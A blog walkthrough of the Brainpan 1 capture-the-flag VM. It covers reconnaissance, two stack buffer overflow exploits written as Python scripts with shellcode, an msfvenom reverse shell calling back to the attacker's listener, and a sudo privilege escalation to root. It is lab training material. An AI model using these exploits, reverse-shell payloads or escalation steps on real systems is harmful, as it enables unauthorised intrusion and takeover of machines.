Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
The next VM that I decided to tackle was Brainpan 1 by superkojiman, as Brainpan 3 just came out.
First things first, I ran netdiscover to get the IP of the target machine.
root@kali:~# netdiscover -i eth0 -r 172.16.119.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 4 Captured ARP Req/Rep packets, from 3 hosts. Total size: 240 ________________________________________________________________ IP At MAC Address Count Len MAC Vendor ---------------------------------------------------------------- 172.16.119.1 00:50:56:c0:00:01 02 120 VMWare, Inc. 172.16.119.139 00:0c:29:3a:cf:4b 01 060 VMware, Inc. 172.16.119.254 00:50:56:f1:01:f8 01 060 VMWare, Inc.
Next was a quick Nmap scan to determine the attack surface.
root@kali:~# nmap -sT -sV -O 172.16.119.139 Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-03 08:57 EDT Nmap scan report for 172.16.119.139 Host is up (0.00036s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 9999/tcp open abyss? 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port9999-TCP:V=6.47%I=7%D=8/3%Time=55BF6567%P=x86_64-unknown-linux-gnu% SF:r(NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\ SF:|_\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\ SF:x20\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_ SF:\|\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_ SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_ SF:\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x2 SF:0_\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x SF:20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x SF:20\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\ SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x SF:20\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINP SF:AN\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENT SF:ER\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ SF:n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20"); MAC Address: 00:0C:29:3A:CF:4B (VMware) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Network Distance: 1 hop OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 50.84 seconds
I decided to check what was running on port 9999 before the HTTP server, but it looked to just be some sort of password protected area.
root@kali:~# telnet 172.16.119.139 9999 Trying 172.16.119.139... Connected to 172.16.119.139. Escape character is '^]'. _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [________________________ WELCOME TO BRAINPAN _________________________] ENTER THE PASSWORD >> password ACCESS DENIED Connection closed by foreign host.
The home page didn’t seem to be terribly useful either though, as it was just an image about vulnerabilities and protection.
Dirbuster proved a little more useful though, as it found a /bin directory with an executable in it.
Upon download, it appeared that this was the same application as the one running on the remote server.
Able to run the server locally, I decided to whip up a quick Python script to send my requests to the server.
import socket host = "127.0.0.1" port = 9999 payload = "password" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print s.recv(1024) s.send(payload) print s.recv(1024)
I was indeed able to send requests to the server, and view the responses. Additionally, it made mention of get_reply copying the password to a buffer, so I figured this would be my point of attack for a buffer overflow.
c:\>brainpan.exe [+] initializing winsock...done. [+] server socket created. [+] bind done on port 9999 [+] waiting for connections. [+] received connection. [get_reply] s = [password] [get_reply] copied 8 bytes to buffer [+] check is -1 [get_reply] s = [password] [get_reply] copied 8 bytes to buffer
Next up was to change my Python script to try and overflow the get_reply buffer.
import socket host = "127.0.0.1" port = 9999 payload = "A" * 1000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print s.recv(1024) s.send(payload) print s.recv(1024)
This seemed to work and ended up corrupting the buffer as expected.
[+] received connection. [get_reply] s = [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH (] [get_reply] copied 1003 bytes to buffer
Additionally, I got a crash and was able to overwrite EIP with 0x41414141, so I knew I was on the right track.
As a side note, I actually managed to find the password for the executable during my debugging process, which would hopefully make things go even quicker.
Unfortunately, this password didn’t actually seem to unlock any functionality or command execution, so it was just a worthless rabbit hole.
C:\netcat-1.11>nc.exe 127.0.0.1 9999 _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [________________________ WELCOME TO BRAINPAN _________________________] ENTER THE PASSWORD >> shitstorm ACCESS GRANTED
The next step for me was to find the actual size of the buffer that I was overwriting, so I updated my python script with a cyclical pattern.
import socket host = "127.0.0.1" port = 9999 payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print s.recv(1024) s.send(payload) print s.recv(1024)
With my script updated, I was again able to get the program to crash with control over EIP.
A quick check gave me an offset of 524, so it was time to modify my exploit.
root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 35724134 1000 [*] Exact match at offset 524
I just wanted to verify that the offset was correct before proceeding, so I updated the buffer and put ‘BBBB’ where I expected EIP to be.
import socket host = "127.0.0.1" port = 9999 payload = "A" * 524 payload += "BBBB" payload += "C" * 200 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print s.recv(1024) s.send(payload) print s.recv(1024)
As expected, EIP was overwritten with 0x424242, so I had full control of the instruction pointer.
I was also able to find a JMP ESP in the actual brainpan.exe, which made my life even easier.
With everything in place (and my win-exec-calc shellcode), it was time to modify my exploit
import socket host = "127.0.0.1" port = 9999 # win-exec-calc shellcode = ("\x31\xc9\x49\x31\xd2\xe3\x47\x52\x68\x63\x61\x6c\x63\x89\xe6" + "\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30" + "\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01" + "\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c" + "\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c" + "\xae\xff\xd7\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48\x83" + "\xec\x28\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48" + "\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28" + "\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17" + "\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74" + "\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7") payload = "A" * 524 payload += "\xF3\x12\x17\x31" payload += "\x90" * 16 payload += shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print s.recv(1024) s.send(payload) print s.recv(1024)
Once everything was setup and run, I was able to get the program to crash and open calc.exe, so I knew everything was working.
Heading back over to the vulnerable machine though, I knew I would need to use an updated shellcode. Knowing that, I fired up msfvenom to grab a reverse TCP shell, and updated my exploit.
root@kali:~/Downloads# msfvenom -p linux/x86/shell_reverse_tcp lhost=172.16.119.128 lport=4444 -f python -b '\x00\x0a\x0d' No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload Found 22 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0)
import socket host = "172.16.119.139" port = 9999 buf = "" buf += "\xba\x26\x49\xd3\x45\xda\xc9\xd9\x74\x24\xf4\x58\x29" buf += "\xc9\xb1\x12\x31\x50\x12\x83\xe8\xfc\x03\x76\x47\x31" buf += "\xb0\x47\x8c\x42\xd8\xf4\x71\xfe\x75\xf8\xfc\xe1\x3a" buf += "\x9a\x33\x61\xa9\x3b\x7c\x5d\x03\x3b\x35\xdb\x62\x53" buf += "\x6a\x0b\xe2\x23\x1a\x2e\x0c\x32\x87\xa7\xed\x84\x51" buf += "\xe8\xbc\xb7\x2e\x0b\xb6\xd6\x9c\x8c\x9a\x70\x30\xa2" buf += "\x69\xe8\x26\x93\xef\x81\xd8\x62\x0c\x03\x76\xfc\x32" buf += "\x13\x73\x33\x34" payload = "A" * 524 payload += "\xF3\x12\x17\x31" payload += "\x90" * 48 payload += buf s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print s.recv(1024) s.send(payload) print s.recv(1024)
Once the exploit was prepared, I started my netcat listener, and grabbed the reverse shell.
root@kali:~# nc -l -vv -p 4444 listening on [any] 4444 ... 172.16.119.139: inverse host lookup failed: Unknown server error : Connection timed out connect to [172.16.119.128] from (UNKNOWN) [172.16.119.139] 48612 id uid=1002(puck) gid=1002(puck) groups=1002(puck) python -c 'import pty; pty.spawn("/bin/bash");' puck@brainpan:/home/puck$
While my current user was only able to run the anansi_util as root, there did appear to be a validate application inside of /usr/local/bin that was setuid for the anansi user.
puck@brainpan:/home/puck$ sudo -l sudo -l Matching Defaults entries for puck on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User puck may run the following commands on this host: (root) NOPASSWD: /home/anansi/bin/anansi_util puck@brainpan:/home/puck$ find / -perm -g=s -o -perm -4000 ! -type l -exec ls -ld {} \; 2>/dev/null <ind / -perm -g=s -o -perm -4000 ! -type l -exec ls -ld {} \; 2>/dev/null -rwsr-xr-x 1 root root 63632 Sep 6 2012 /bin/umount -rwsr-xr-x 1 root root 31124 Sep 6 2012 /bin/su -rwsr-xr-x 1 root root 88768 Sep 6 2012 /bin/mount -rwsr-xr-x 1 root root 30112 Jun 11 2012 /bin/fusermount -rwsr-xr-x 1 root root 39124 Oct 2 2012 /bin/ping6 -rwsr-xr-x 1 root root 34780 Oct 2 2012 /bin/ping -rwsr-xr-x 2 root root 115140 Feb 27 2013 /usr/bin/sudo -rwsr-xr-x 1 root root 60344 Jun 18 2012 /usr/bin/mtr -rwsr-xr-x 1 root root 30936 Sep 6 2012 /usr/bin/newgrp -rwsr-xr-x 1 root root 31756 Sep 6 2012 /usr/bin/chsh -rwsr-xr-x 2 root root 115140 Feb 27 2013 /usr/bin/sudoedit -rwsr-xr-x 1 root root 40300 Sep 6 2012 /usr/bin/chfn -rwsr-xr-x 1 root root 14020 Oct 2 2012 /usr/bin/traceroute6.iputils -rwsr-xr-x 1 root lpadmin 13672 Dec 4 2012 /usr/bin/lppasswd -rwsr-xr-x 1 root root 41292 Sep 6 2012 /usr/bin/passwd -rwsr-xr-x 1 root root 57964 Sep 6 2012 /usr/bin/gpasswd -rwsr-xr-- 1 root dip 301944 Sep 26 2012 /usr/sbin/pppd -rwsr-xr-x 1 anansi anansi 8761 Mar 4 2013 /usr/local/bin/validate -rwsr-xr-- 1 root messagebus 317564 Oct 3 2012 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 248064 Sep 6 2012 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 5452 Jun 25 2012 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 9740 Oct 3 2012 /usr/lib/pt_chown
It looked like the validate application took some sort of input and passed it through a validate function, but strings (and GDB) weren’t actually located on the vulnerable machine.
puck@brainpan:/home/puck$ cd /usr/local/bin cd /usr/local/bin puck@brainpan:/usr/local/bin$ validate validate usage validate <input> puck@brainpan:/usr/local/bin$ strings validate strings validate The program 'strings' can be found in the following packages: * binutils * binutils-multiarch Ask your administrator to install one of them
That said, I was able to cause a segfault in the application, so this looked to be another application to exploit.
puck@brainpan:/usr/local/bin$ validate `python -c 'print "A"'` validate `python -c 'print "A"'` validating input...passed. puck@brainpan:/usr/local/bin$ validate `python -c 'print "A"*10000'` validate `python -c 'print "A"*10000'` Segmentation fault
I was able to move the application back over to my attack box though, as it would be easier to debug over there.
puck@brainpan:/usr/local/bin$ scp validate [email protected]:/root/validate The authenticity of host '172.16.119.128 (172.16.119.128)' can't be established. ECDSA key fingerprint is 9e:a4:08:7d:97:8b:94:a6:05:84:61:59:89:3a:be:51. Are you sure you want to continue connecting (yes/no)? yes yes Warning: Permanently added '172.16.119.128' (ECDSA) to the list of known hosts. [email protected]'s password: validate 100% 8761 8.6KB/s 00:00
With a similar, simple script, I was indeed able to overflow the buffer as expected and gain control over EIP (0x41414141).
root@kali:~# gdb validate GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/validate...done. (gdb) r `python brainpan2.py` Starting program: /root/validate `python brainpan2.py` warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf76f9000 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0xffd0c128 -3096280 ecx 0x0 0 edx 0x2711 10001 ebx 0x41414141 1094795585 esp 0xffd0c1a0 0xffd0c1a0 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x41414141 0x41414141 eflags 0x10282 [ SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
Unfortunately, there were a number of characters that didn’t pass validation, so I was unable to use a cyclical pattern string to easily get the EIP offset. That said, with a bit of binary searching, I was able to get a better idea of where the EIP offset was.
payload = "A"*100 payload += "B"*15 payload += "C"*4 payload += "D"*4 payload += "E"*8 payload += "G"*25 payload += "H"*50 payload += "I"*200 print payload
(gdb) r `python brainpan2.py` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/validate `python brainpan2.py` Program received signal SIGSEGV, Segmentation fault. 0x44434343 in ?? ()
I updated my script with the expected offset (116 since EIP was overwritten with 3 Bs and then a C), and ran it again to verify that my EIP location was correct.
root@kali:~# cat brainpan2.py payload = "A"*116 payload += "B"*4 payload += "C"*180 print payload < ... snip ... > (gdb) r `python brainpan2.py` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/validate `python brainpan2.py` Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()
After a bit more debugging, it seemed that I had a bit more control over EAX than ESP, so I would hopefully be able to jump to that instead.
root@kali:~# gdb validate GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/validate...done. (gdb) r `python brainpan2.py` Starting program: /root/validate `python brainpan2.py` warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf773e000 Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) i r eax 0xffca47b8 -3520584 ecx 0x0 0 edx 0x12d 301 ebx 0x41414141 1094795585 esp 0xffca4830 0xffca4830 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x42424242 0x42424242 eflags 0x10286 [ PF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/x $esp 0xffca4830: 0x43434343 (gdb) x/100x $esp 0xffca4830: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4840: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4850: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4860: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4870: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4880: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4890: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca48a0: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca48b0: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca48c0: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca48d0: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca48e0: 0x43434343 0x00000000 0xffca4904 0x080485b0 0xffca48f0: 0x080485a0 0xf774f060 0xffca48fc 0xf775d918 0xffca4900: 0x00000002 0xffca65d8 0xffca65e7 0x00000000 0xffca4910: 0xffca6714 0xffca6727 0xffca675a 0xffca6765 0xffca4920: 0xffca6775 0xffca67c4 0xffca67d6 0xffca6808 0xffca4930: 0xffca6812 0xffca6d33 0xffca6d61 0xffca6daf 0xffca4940: 0xffca6dbd 0xffca6dc8 0xffca6de0 0xffca6e22 0xffca4950: 0xffca6e31 0xffca6e3b 0xffca6e4c 0xffca6e63 0xffca4960: 0xffca6e78 0xffca6e81 0xffca6e94 0xffca6e9f 0xffca4970: 0xffca6ea7 0xffca6ed3 0xffca6ee0 0xffca6f42 0xffca4980: 0xffca6f7f 0xffca6f8c 0xffca6f99 0xffca6fb2 0xffca4990: 0x00000000 0x00000020 0xf773ed00 0x00000021 ---Typeto continue, or q to quit--- 0xffca49a0: 0xf773e000 0x00000010 0x0fabfbff 0x00000006 0xffca49b0: 0x00001000 0x00000011 0x00000064 0x00000003 (gdb) x/90x $eax 0xffca47b8: 0x41414141 0x41414141 0x41414141 0x41414141 0xffca47c8: 0x41414141 0x41414141 0x41414141 0x41414141 0xffca47d8: 0x41414141 0x41414141 0x41414141 0x41414141 0xffca47e8: 0x41414141 0x41414141 0x41414141 0x41414141 0xffca47f8: 0x41414141 0x41414141 0x41414141 0x41414141 0xffca4808: 0x41414141 0x41414141 0x41414141 0x41414141 0xffca4818: 0x41414141 0x41414141 0x41414141 0x41414141 0xffca4828: 0x41414141 0x42424242 0x43434343 0x43434343 0xffca4838: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4848: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4858: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4868: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4878: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4888: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca4898: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca48a8: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca48b8: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca48c8: 0x43434343 0x43434343 0x43434343 0x43434343 0xffca48d8: 0x43434343 0x43434343 0x43434343 0x00000000 0xffca48e8: 0xffca4904 0x080485b0 0x080485a0 0xf774f060 0xffca48f8: 0xffca48fc 0xf775d918 0x00000002 0xffca65d8 0xffca4908: 0xffca65e7 0x00000000 0xffca6714 0xffca6727 0xffca4918: 0xffca675a 0xffca6765 (gdb) q A debugging session is active. Inferior 1 [process 9984] will be killed. Quit anyway? (y or n) y
Additionally, after scanning the binary for jumps, it appeared that I would only be able to jump to EAX, and not ESP, anyway.
root@kali:~# msfelfscan -j esp validate [validate] root@kali:~# msfelfscan -j eax validate [validate] 0x080484af call eax 0x0804862b call eax
With all of this in mind, it was time for me to generate a new shellcode (CMD since I was already on the target machine) and update the exploit.
root@kali:~# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0a\x0d' No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload Found 22 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 70 (iteration=0) < ... snip ... > root@kali:~# cat brainpan2.py payload = "" payload += "\xda\xd1\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x0b\xbd\xc8" payload += "\x44\x38\xb5\x31\x6f\x1a\x83\xef\xfc\x03\x6f\x16\xe2" payload += "\x3d\x2e\x33\xed\x24\xfd\x25\x65\x7b\x61\x23\x92\xeb" payload += "\x4a\x40\x35\xeb\xfc\x89\xa7\x82\x92\x5c\xc4\x06\x83" payload += "\x57\x0b\xa6\x53\x47\x69\xcf\x3d\xb8\x1e\x67\xc2\x91" payload += "\xb3\xfe\x23\xd0\xb4" payload += "\x90" * (116-70) # NOPs to fill rest of offset #payload += "BBBB" payload += "\xaf\x84\x04\x08" # call eax payload += "\x90"*180 print payload
Just to make sure the exploit worked, I ran it on my attacker box one last time and got a shell.
root@kali:~# ./validate `python brainpan2.py` # id uid=0(root) gid=0(root) groups=0(root) # exit
Heading back over to the vulnerable machine, I was indeed able to run the exploit and obtain a shell as the anansi user.
puck@brainpan:/usr/local/bin$ ./validate `python ~/exploit.py` ./validate `python ~/exploit.py` $ id id uid=1002(puck) gid=1002(puck) euid=1001(anansi) groups=1001(anansi),1002(puck)
Remembering the information from before, I headed over to anansi’s home directory to check out the anansi_util executable.
$ cd /home/anansi cd /home/anansi $ ls -al ls -al total 32 drwx------ 4 anansi anansi 4096 Mar 4 2013 . drwxr-xr-x 5 root root 4096 Mar 4 2013 .. -rw------- 1 anansi anansi 0 Mar 5 2013 .bash_history -rw-r--r-- 1 anansi anansi 220 Mar 4 2013 .bash_logout -rw-r--r-- 1 anansi anansi 3637 Mar 4 2013 .bashrc drwx------ 2 anansi anansi 4096 Mar 4 2013 .cache -rw------- 1 root root 39 Mar 4 2013 .lesshst -rw-r--r-- 1 anansi anansi 675 Mar 4 2013 .profile drwxrwxr-x 2 anansi anansi 4096 Mar 5 2013 bin $ cd bin cd bin $ ls -al ls -al total 16 drwxrwxr-x 2 anansi anansi 4096 Mar 5 2013 . drwx------ 4 anansi anansi 4096 Mar 4 2013 .. -rwxr-xr-x 1 anansi anansi 7256 Mar 4 2013 anansi_util
Since anansi_util was writable by anansi, and was executable by root with no password, this would be a simple privilege escalation. I copied over /bin/bash to replace anansi_util, and was able to sudo it as root, giving me my root shell.
